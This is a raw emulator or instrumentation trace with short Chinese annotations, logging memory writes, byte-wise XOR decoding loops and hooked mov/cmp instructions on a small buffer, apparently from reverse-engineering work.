[WRITE] @0x2003f40 ← 0x03
[WRITE] @0x2003f41 ← 0x02
[WRITE] @0x2003f42 ← 0x00
[WRITE] @0x2003f43 ← 0x31
[WRITE] @0x2003f44 ← 0x31
[WRITE] @0x2003f45 ← 0x01
[WRITE] @0x2003f46 ← 0x03
[WRITE] @0x2003f47 ← 0x03
[STATE] ESI ← 0x25
[HOOK MOV] @0x01001311: mov esi, 0x1a
[XOR @0x1001325] MEM[0x2003f20] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f20 ← 0x32
[HOOK CMP] @0x0100132b: cmp esi, 0x35
[XOR @0x1001325] MEM[0x2003f21] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f21 ← 0x32
[XOR @0x1001325] MEM[0x2003f22] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f22 ← 0x00
[XOR @0x1001325] MEM[0x2003f23] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f23 ← 0x31
[XOR @0x1001325] MEM[0x2003f24] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f24 ← 0x32
[XOR @0x1001325] MEM[0x2003f25] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f25 ← 0x03
[XOR @0x1001325] MEM[0x2003f26] 0x02 ^ AL(0x03) → 0x01
寫入後 MEM = 0x02
[WRITE] @0x2003f26 ← 0x01
[XOR @0x1001325] MEM[0x2003f27] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f27 ← 0x01
[XOR @0x1001325] MEM[0x2003f28] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f28 ← 0x02
[XOR @0x1001325] MEM[0x2003f29] 0x33 ^ AL(0x31) → 0x02
寫入後 MEM = 0x33
[WRITE] @0x2003f29 ← 0x02
[XOR @0x1001325] MEM[0x2003f2a] 0x33 ^ AL(0x31) → 0x02
寫入後 MEM = 0x33
[WRITE] @0x2003f2a ← 0x02
[XOR @0x1001325] MEM[0x2003f2b] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f2b ← 0x00
[XOR @0x1001325] MEM[0x2003f2c] 0x02 ^ AL(0x03) → 0x01
寫入後 MEM = 0x02
[WRITE] @0x2003f2c ← 0x01
[XOR @0x1001325] MEM[0x2003f2d] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f2d ← 0x33
[XOR @0x1001325] MEM[0x2003f2e] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f2e ← 0x03
[XOR @0x1001325] MEM[0x2003f2f] 0x02 ^ AL(0x32) → 0x30
寫入後 MEM = 0x02
[WRITE] @0x2003f2f ← 0x30
[XOR @0x1001325] MEM[0x2003f30] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f30 ← 0x03
[XOR @0x1001325] MEM[0x2003f31] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f31 ← 0x31
[XOR @0x1001325] MEM[0x2003f32] 0x02 ^ AL(0x32) → 0x30
寫入後 MEM = 0x02
[WRITE] @0x2003f32 ← 0x30
[XOR @0x1001325] MEM[0x2003f33] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f33 ← 0x30
[XOR @0x1001325] MEM[0x2003f34] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f34 ← 0x01
[XOR @0x1001325] MEM[0x2003f35] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f35 ← 0x01
[XOR @0x1001325] MEM[0x2003f36] 0x02 ^ AL(0x32) → 0x30
寫入後 MEM = 0x02
[WRITE] @0x2003f36 ← 0x30
[XOR @0x1001325] MEM[0x2003f37] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f37 ← 0x32
[XOR @0x1001325] MEM[0x2003f38] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f38 ← 0x01
[XOR @0x1001325] MEM[0x2003f39] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f39 ← 0x01
[XOR @0x1001325] MEM[0x2003f3a] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f3a ← 0x02
[STATE] ESI ← 0x41
[HOOK MOV] @0x01000b05: mov esi, 0x21
[HOOK MOV] @0x01000b0a: mov esi, 0x2f
[WRITE] @0x2003f20 ← 0x30
[HOOK CMP] @0x01000b20: cmp esi, 0x43
[WRITE] @0x2003f21 ← 0x32
[WRITE] @0x2003f22 ← 0x31
[WRITE] @0x2003f23 ← 0x00
[WRITE] @0x2003f24 ← 0x33
[WRITE] @0x2003f25 ← 0x00
[WRITE] @0x2003f26 ← 0x02
[WRITE] @0x2003f27 ← 0x33
[WRITE] @0x2003f28 ← 0x30
[WRITE] @0x2003f29 ← 0x30
[WRITE] @0x2003f2a ← 0x03
[WRITE] @0x2003f2b ← 0x32
[WRITE] @0x2003f2c ← 0x03
[WRITE] @0x2003f2d ← 0x33
[WRITE] @0x2003f2e ← 0x33
[WRITE] @0x2003f2f ← 0x02
[WRITE] @0x2003f30 ← 0x32
[WRITE] @0x2003f31 ← 0x31
[WRITE] @0x2003f32 ← 0x03
[WRITE] @0x2003f33 ← 0x30
[WRITE] @0x2003f34 ← 0x03
[WRITE] @0x2003f35 ← 0x32
[WRITE] @0x2003f36 ← 0x00
[WRITE] @0x2003f37 ← 0x02
[WRITE] @0x2003f38 ← 0x02
[WRITE] @0x2003f39 ← 0x33
[WRITE] @0x2003f3a ← 0x01
[WRITE] @0x2003f3b ← 0x31
[WRITE] @0x2003f3c ← 0x01
[WRITE] @0x2003f3d ← 0x33
[WRITE] @0x2003f3e ← 0x00
[WRITE] @0x2003f3f ← 0x30
[WRITE] @0x2003f40 ← 0x00
[WRITE] @0x2003f41 ← 0x32
[STATE] ESI ← 0x53
[HOOK MOV] @0x01000f0c: mov esi, 0x2a
[XOR @0x1000f20] MEM[0x2003f20] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f20 ← 0x02
[HOOK CMP] @0x01000f26: cmp esi, 0x55
[XOR @0x1000f20] MEM[0x2003f21] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f21 ← 0x33
[XOR @0x1000f20] MEM[0x2003f22] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f22 ← 0x03
[XOR @0x1000f20] MEM[0x2003f23] 0x00 ^ AL(0x02) → 0x02
寫入後 MEM = 0x00
[WRITE] @0x2003f23 ← 0x02
[XOR @0x1000f20] MEM[0x2003f24] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f24 ← 0x33
[XOR @0x1000f20] MEM[0x2003f25] 0x00 ^ AL(0x02) → 0x02
寫入後 MEM = 0x00
[WRITE] @0x2003f25 ← 0x02
[XOR @0x1000f20] MEM[0x2003f26] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f26 ← 0x31
[XOR @0x1000f20] MEM[0x2003f27] 0x33 ^ AL(0x03) → 0x30
寫入後 MEM = 0x33
[WRITE] @0x2003f27 ← 0x30
[XOR @0x1000f20] MEM[0x2003f28] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f28 ← 0x32
[XOR @0x1000f20] MEM[0x2003f29] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f29 ← 0x03
[XOR @0x1000f20] MEM[0x2003f2a] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f2a ← 0x01
[XOR @0x1000f20] MEM[0x2003f2b] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f2b ← 0x03
[XOR @0x1000f20] MEM[0x2003f2c] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f2c ← 0x33
[XOR @0x1000f20] MEM[0x2003f2d] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f2d ← 0x01
[XOR @0x1000f20] MEM[0x2003f2e] 0x33 ^ AL(0x03) → 0x30
寫入後 MEM = 0x33
[WRITE] @0x2003f2e ← 0x30
[XOR @0x1000f20] MEM[0x2003f2f] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f2f ← 0x03
[XOR @0x1000f20] MEM[0x2003f30] 0x32 ^ AL(0x03) → 0x31
寫入後 MEM = 0x32
[WRITE] @0x2003f30 ← 0x31
[XOR @0x1000f20] MEM[0x2003f31] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f31 ← 0x02
[XOR @0x1000f20] MEM[0x2003f32] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f32 ← 0x02
[XOR @0x1000f20] MEM[0x2003f33] 0x30 ^ AL(0x30) → 0x00
寫入後 MEM = 0x30
[WRITE] @0x2003f33 ← 0x00
[XOR @0x1000f20] MEM[0x2003f34] 0x03 ^ AL(0x03) → 0x00
寫入後 MEM = 0x03
[WRITE] @0x2003f34 ← 0x00
[XOR @0x1000f20] MEM[0x2003f35] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f35 ← 0x03
[XOR @0x1000f20] MEM[0x2003f36] 0x00 ^ AL(0x02) → 0x02
寫入後 MEM = 0x00
[WRITE] @0x2003f36 ← 0x02
[XOR @0x1000f20] MEM[0x2003f37] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f37 ← 0x00
[XOR @0x1000f20] MEM[0x2003f38] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f38 ← 0x02
[XOR @0x1000f20] MEM[0x2003f39] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f39 ← 0x33
[XOR @0x1000f20] MEM[0x2003f3a] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f3a ← 0x02
[XOR @0x1000f20] MEM[0x2003f3b] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f3b ← 0x33
[XOR @0x1000f20] MEM[0x2003f3c] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f3c ← 0x01
[XOR @0x1000f20] MEM[0x2003f3d] 0x33 ^ AL(0x02) → 0x31
寫入後 MEM = 0x33
[WRITE] @0x2003f3d ← 0x31
[XOR @0x1000f20] MEM[0x2003f3e] 0x00 ^ AL(0x33) → 0x33
寫入後 MEM = 0x00
[WRITE] @0x2003f3e ← 0x33
[XOR @0x1000f20] MEM[0x2003f3f] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f3f ← 0x32
[XOR @0x1000f20] MEM[0x2003f40] 0x00 ^ AL(0x33) → 0x33
寫入後 MEM = 0x00
[WRITE] @0x2003f40 ← 0x33
[XOR @0x1000f20] MEM[0x2003f41] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f41 ← 0x33
[XOR @0x1000f20] MEM[0x2003f42] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f42 ← 0x31
[XOR @0x1000f20] MEM[0x2003f43] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f43 ← 0x02
[XOR @0x1000f20] MEM[0x2003f44] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f44 ← 0x03
[XOR @0x1000f20] MEM[0x2003f45] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f45 ← 0x32
[XOR @0x1000f20] MEM[0x2003f46] 0x03 ^ AL(0x33) → 0x30
寫入後 MEM = 0x03
[WRITE] @0x2003f46 ← 0x30
[XOR @0x1000f20] MEM[0x2003f47] 0x03 ^ AL(0x31) → 0x32
寫入後 MEM = 0x03
[WRITE] @0x2003f47 ← 0x32
[XOR @0x1000f20] MEM[0x2003f48] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f48 ← 0x30
[XOR @0x1000f20] MEM[0x2003f49] 0x32 ^ AL(0x03) → 0x31
寫入後 MEM = 0x32
[WRITE] @0x2003f49 ← 0x31
[XOR @0x1000f20] MEM[0x2003f4a] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f4a ← 0x00
[STATE] ESI ← 0x2C
[HOOK MOV] @0x01000c1d: mov esi, 0x13
[XOR @0x1000c31] MEM[0x2003f20] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f20 ← 0x02
[HOOK CMP] @0x01000c37: cmp esi, 0x27
[XOR @0x1000c31] MEM[0x2003f21] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f21 ← 0x33
[XOR @0x1000c31] MEM[0x2003f22] 0x03 ^ AL(0x03) → 0x00
寫入後 MEM = 0x03
[WRITE] @0x2003f22 ← 0x00
[XOR @0x1000c31] MEM[0x2003f23] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f23 ← 0x00
[XOR @0x1000c31] MEM[0x2003f24] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f24 ← 0x33
[XOR @0x1000c31] MEM[0x2003f25] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f25 ← 0x00
[XOR @0x1000c31] MEM[0x2003f26] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f26 ← 0x02
[XOR @0x1000c31] MEM[0x2003f27] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f27 ← 0x32
[XOR @0x1000c31] MEM[0x2003f28] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f28 ← 0x01
[XOR @0x1000c31] MEM[0x2003f29] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f29 ← 0x02
[XOR @0x1000c31] MEM[0x2003f2a] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f2a ← 0x30
[XOR @0x1000c31] MEM[0x2003f2b] 0x03 ^ AL(0x33) → 0x30
寫入後 MEM = 0x03
[WRITE] @0x2003f2b ← 0x30
[XOR @0x1000c31] MEM[0x2003f2c] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f2c ← 0x01
[XOR @0x1000c31] MEM[0x2003f2d] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f2d ← 0x32
[XOR @0x1000c31] MEM[0x2003f2e] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f2e ← 0x03
[XOR @0x1000c31] MEM[0x2003f2f] 0x03 ^ AL(0x31) → 0x32
寫入後 MEM = 0x03
[WRITE] @0x2003f2f ← 0x32
[XOR @0x1000c31] MEM[0x2003f30] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f30 ← 0x33
[XOR @0x1000c31] MEM[0x2003f31] 0x02 ^ AL(0x03) → 0x01
寫入後 MEM = 0x02
[WRITE] @0x2003f31 ← 0x01
[XOR @0x1000c31] MEM[0x2003f32] 0x02 ^ AL(0x32) → 0x30
寫入後 MEM = 0x02
[WRITE] @0x2003f32 ← 0x30
[XOR @0x1000c31] MEM[0x2003f33] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f33 ← 0x30
[STATE] ESI ← 0x09
[HOOK MOV] @0x010007ef: mov esi, 0x2e
[HOOK MOV] @0x010007f4: mov esi, 0x2f
[WRITE] @0x2003f20 ← 0x02
[HOOK CMP] @0x0100080a: cmp esi, 0x5d
[WRITE] @0x2003f21 ← 0x31
[WRITE] @0x2003f22 ← 0x31
[WRITE] @0x2003f23 ← 0x31
[WRITE] @0x2003f24 ← 0x02
[WRITE] @0x2003f25 ← 0x02
[WRITE] @0x2003f26 ← 0x00
[WRITE] @0x2003f27 ← 0x32
[WRITE] @0x2003f28 ← 0x33
[WRITE] @0x2003f29 ← 0x31
[WRITE] @0x2003f2a ← 0x01
[WRITE] @0x2003f2b ← 0x31
[WRITE] @0x2003f2c ← 0x30
[WRITE] @0x2003f2d ← 0x02
[WRITE] @0x2003f2e ← 0x01
[WRITE] @0x2003f2f ← 0x33
[WRITE] @0x2003f30 ← 0x00
[WRITE] @0x2003f31 ← 0x01
[WRITE] @0x2003f32 ← 0x31
[WRITE] @0x2003f33 ← 0x01
[WRITE] @0x2003f34 ← 0x01
[WRITE] @0x2003f35 ← 0x02
[WRITE] @0x2003f36 ← 0x00
[WRITE] @0x2003f37 ← 0x00
[WRITE] @0x2003f38 ← 0x02
[WRITE] @0x2003f39 ← 0x31
[WRITE] @0x2003f3a ← 0x33
[WRITE] @0x2003f3b ← 0x00
[WRITE] @0x2003f3c ← 0x01
[WRITE] @0x2003f3d ← 0x30
[WRITE] @0x2003f3e ← 0x03
[WRITE] @0x2003f3f ← 0x31
[WRITE] @0x2003f40 ← 0x02
[WRITE] @0x2003f41 ← 0x31
[WRITE] @0x2003f42 ← 0x00
[WRITE] @0x2003f43 ← 0x02
[WRITE] @0x2003f44 ← 0x01
[WRITE] @0x2003f45 ← 0x33
[WRITE] @0x2003f46 ← 0x03
[WRITE] @0x2003f47 ← 0x31
[WRITE] @0x2003f48 ← 0x01
[WRITE] @0x2003f49 ← 0x30
[WRITE] @0x2003f4a ← 0x30
[WRITE] @0x2003f4b ← 0x31
[WRITE] @0x2003f4c ← 0x03
[WRITE] @0x2003f4d ← 0x01
[WRITE] @0x2003f4e ← 0x01
[STATE] ESI ← 0x3C
[HOOK MOV] @0x01001340: mov esi, 0x18
[XOR @0x1001354] MEM[0x2003f20] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f20 ← 0x00
[HOOK CMP] @0x0100135a: cmp esi, 0x31
[XOR @0x1001354] MEM[0x2003f21] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f21 ← 0x00
[XOR @0x1001354] MEM[0x2003f22] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f22 ← 0x02
[XOR @0x1001354] MEM[0x2003f23] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f23 ← 0x31
[XOR @0x1001354] MEM[0x2003f24] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f24 ← 0x03
[XOR @0x1001354] MEM[0x2003f25] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f25 ← 0x32
[XOR @0x1001354] MEM[0x2003f26] 0x00 ^ AL(0x03) → 0x03
寫入後 MEM = 0x00
[WRITE] @0x2003f26 ← 0x03
[XOR @0x1001354] MEM[0x2003f27] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f27 ← 0x03
[XOR @0x1001354] MEM[0x2003f28] 0x33 ^ AL(0x02) → 0x31
寫入後 MEM = 0x33
[WRITE] @0x2003f28 ← 0x31
[XOR @0x1001354] MEM[0x2003f29] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f29 ← 0x00
[XOR @0x1001354] MEM[0x2003f2a] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f2a ← 0x01
[XOR @0x1001354] MEM[0x2003f2b] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f2b ← 0x33
[XOR @0x1001354] MEM[0x2003f2c] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f2c ← 0x31
[XOR @0x1001354] MEM[0x2003f2d] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f2d ← 0x31
[XOR @0x1001354] MEM[0x2003f2e] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f2e ← 0x02
[XOR @0x1001354] MEM[0x2003f2f] 0x33 ^ AL(0x31) → 0x02
寫入後 MEM = 0x33
[WRITE] @0x2003f2f ← 0x02
[XOR @0x1001354] MEM[0x2003f30] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f30 ← 0x01
[XOR @0x1001354] MEM[0x2003f31] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f31 ← 0x31
[XOR @0x1001354] MEM[0x2003f32] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f32 ← 0x01
[XOR @0x1001354] MEM[0x2003f33] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f33 ← 0x30
[XOR @0x1001354] MEM[0x2003f34] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f34 ← 0x02
[XOR @0x1001354] MEM[0x2003f35] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f35 ← 0x03
[XOR @0x1001354] MEM[0x2003f36] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f36 ← 0x01
[XOR @0x1001354] MEM[0x2003f37] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f37 ← 0x00
[XOR @0x1001354] MEM[0x2003f38] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f38 ← 0x02
[STATE] ESI ← 0x1E
[WRITE] @0x2003f1c ← 0x0d
[XOR @0x1000e34] MEM[0x2003f31] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f20 ← 0x31
[WRITE] @0x2003f1c ← 0x0e
[XOR @0x1000e34] MEM[0x2003f31] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f21 ← 0x02
[WRITE] @0x2003f1c ← 0x0f
[XOR @0x1000e34] MEM[0x2003f31] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f22 ← 0x00
[WRITE] @0x2003f1c ← 0x10
[XOR @0x1000e34] MEM[0x2003f31] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f23 ← 0x30
[WRITE] @0x2003f1c ← 0x11
[XOR @0x1000e34] MEM[0x2003f31] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f24 ← 0x32
[WRITE] @0x2003f1c ← 0x12
[XOR @0x1000e34] MEM[0x2003f31] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f25 ← 0x33
[WRITE] @0x2003f1c ← 0x13
[XOR @0x1000e34] MEM[0x2003f31] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f26 ← 0x33
[WRITE] @0x2003f1c ← 0x14
[XOR @0x1000e34] MEM[0x2003f31] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f27 ← 0x01
[WRITE] @0x2003f1c ← 0x15
[XOR @0x1000e34] MEM[0x2003f31] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f28 ← 0x32
[WRITE] @0x2003f1c ← 0x16
[XOR @0x1000e34] MEM[0x2003f31] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f29 ← 0x01
[WRITE] @0x2003f1c ← 0x17
[XOR @0x1000e34] MEM[0x2003f31] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f2a ← 0x01
[WRITE] @0x2003f1c ← 0x18
[XOR @0x1000e34] MEM[0x2003f31] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f2b ← 0x31
[WRITE] @0x2003f1c ← 0x19
[XOR @0x1000e34] MEM[0x2003f31] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f2c ← 0x00
[WRITE] @0x2003f1c ← 0x1a
[XOR @0x1000e34] MEM[0x2003f31] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f2d ← 0x02
[WRITE] @0x2003f1c ← 0x1b
[STATE] ESI ← 0x14
[HOOK MOV] @0x0100084b: mov esi, 0x29
[XOR @0x100085f] MEM[0x2003f20] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f20 ← 0x01
[HOOK CMP] @0x01000865: cmp esi, 0x53
[XOR @0x100085f] MEM[0x2003f21] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f21 ← 0x32
[XOR @0x100085f] MEM[0x2003f22] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f22 ← 0x31
[XOR @0x100085f] MEM[0x2003f23] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f23 ← 0x33
[XOR @0x100085f] MEM[0x2003f24] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f24 ← 0x33
[XOR @0x100085f] MEM[0x2003f25] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f25 ← 0x32
[XOR @0x100085f] MEM[0x2003f26] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f26 ← 0x32
[XOR @0x100085f] MEM[0x2003f27] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f27 ← 0x33
[XOR @0x100085f] MEM[0x2003f28] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f28 ← 0x03
[XOR @0x100085f] MEM[0x2003f29] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f29 ← 0x32
[XOR @0x100085f] MEM[0x2003f2a] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f2a ← 0x32
[XOR @0x100085f] MEM[0x2003f2b] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f2b ← 0x03
[XOR @0x100085f] MEM[0x2003f2c] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f2c ← 0x32
[XOR @0x100085f] MEM[0x2003f2d] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f2d ← 0x31
[XOR @0x100085f] MEM[0x2003f2e] 0x02 ^ AL(0x03) → 0x01
寫入後 MEM = 0x02
[WRITE] @0x2003f2e ← 0x01
[XOR @0x100085f] MEM[0x2003f2f] 0x02 ^ AL(0x32) → 0x30
寫入後 MEM = 0x02
[WRITE] @0x2003f2f ← 0x30
[XOR @0x100085f] MEM[0x2003f30] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f30 ← 0x33
[XOR @0x100085f] MEM[0x2003f31] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f31 ← 0x32
[XOR @0x100085f] MEM[0x2003f32] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f32 ← 0x33
[XOR @0x100085f] MEM[0x2003f33] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f33 ← 0x01
[XOR @0x100085f] MEM[0x2003f34] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f34 ← 0x03
[XOR @0x100085f] MEM[0x2003f35] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f35 ← 0x33
[XOR @0x100085f] MEM[0x2003f36] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f36 ← 0x32
[XOR @0x100085f] MEM[0x2003f37] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f37 ← 0x32
[XOR @0x100085f] MEM[0x2003f38] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f38 ← 0x31
[XOR @0x100085f] MEM[0x2003f39] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f39 ← 0x30
